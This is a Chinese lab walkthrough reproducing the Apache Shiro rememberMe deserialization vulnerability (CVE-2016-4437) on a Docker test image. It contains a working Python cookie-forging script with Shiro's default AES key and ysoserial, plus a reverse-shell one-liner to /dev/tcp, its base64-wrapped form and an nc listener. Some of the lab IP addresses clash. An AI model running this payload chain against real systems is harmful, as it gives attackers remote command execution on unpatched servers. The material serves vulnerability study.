Apache Shiro反序列化漏洞復現(Shiro550,CVE-2016-4437)
0x01 漏洞簡介
Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。
影響版本 Shiro <= 1.2.4
### 0x02 環境准備
docker(192.168.18.132)
Kali(192.168.18.133)
環境准備:
1.漏洞環境
Docker pull medicean/vulapps:s_shiro_1獲取docker鏡像
systemctl start docker重啟docker
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1啟動環境把8080端口改為80端口
2.攻擊工具
1)pip3 install pycrypto安裝python中的pycrypto
2)apt install maven安裝MVN
mvn –version驗證
安裝Open JDK 11
Debian 10 默認安裝的 OpenJDK 11 可以滿足運行基於 OpenJDK 開發的 java 應用程序。如果你想使用javac命令編譯代碼,那么你還需要再完成安裝一下。通過以下命令即可完成:
sudo apt-get update
sudo apt-get install default-jdk
安裝完成后可以通過以下命令校驗安裝結果。打開命令終端,輸入:
java -version
3)git clone https://github.com/frohoff/ysoserial.git # 安裝java反序列化payload集成包ysoseri
cd ysoserial
mvn package -DskipTest
4)生成payload的python腳本test.py上傳至/root/ysoserial/target:
1 import sys 2 import base64 3 import uuid 4 from random import Random 5 import subprocess 6 from Crypto.Cipher import AES 7 8 def encode_rememberme(command): 9 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE) 10 BS = AES.block_size 11 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 12 key = "kPH+bIxk5D2deZiIxcaaaA==" 13 mode = AES.MODE_CBC 14 iv = uuid.uuid4().bytes 15 encryptor = AES.new(base64.b64decode(key), mode, iv) 16 file_body = pad(popen.stdout.read()) 17 base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 18 return base64_ciphertext 19 20 if __name__ == '__main__': 21 payload = encode_rememberme(sys.argv[1]) 22 with open("/tmp/payload.cookie", "w") as fpw: 23 print("rememberMe={}".format(payload.decode()), file=fpw)
0x03 進攻復現
漏洞掃描:
攻擊機ip為33,靶機為32
此時漏洞環境已經搭建成功,如下所示:
攻擊機192.168.10.158訪問靶機144並抓包可看到有rememberme字樣的cookie
漏洞利用:
反彈命令進行加密https://x.hacking8.com/?post=293
bash -i >& /dev/tcp/192.168.18.33/1111 0>&1
加密后如下
>bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEzMy8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}
在tmp目錄下生成payload.cookie
>python test.py bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEzMy8xMTExIDA+JjE=}|{base64,-d}|{bash,-i
將這個偽造的cookie值需要復制到響應包有remember值的包發送得到反彈shell;同時攻擊機多開命令框進行nc的一個端口監聽nc -lvvp 1111,然后再發送偽造的cookie值,
點擊發送偽造的包,此時就能獲得靶機的反彈shell
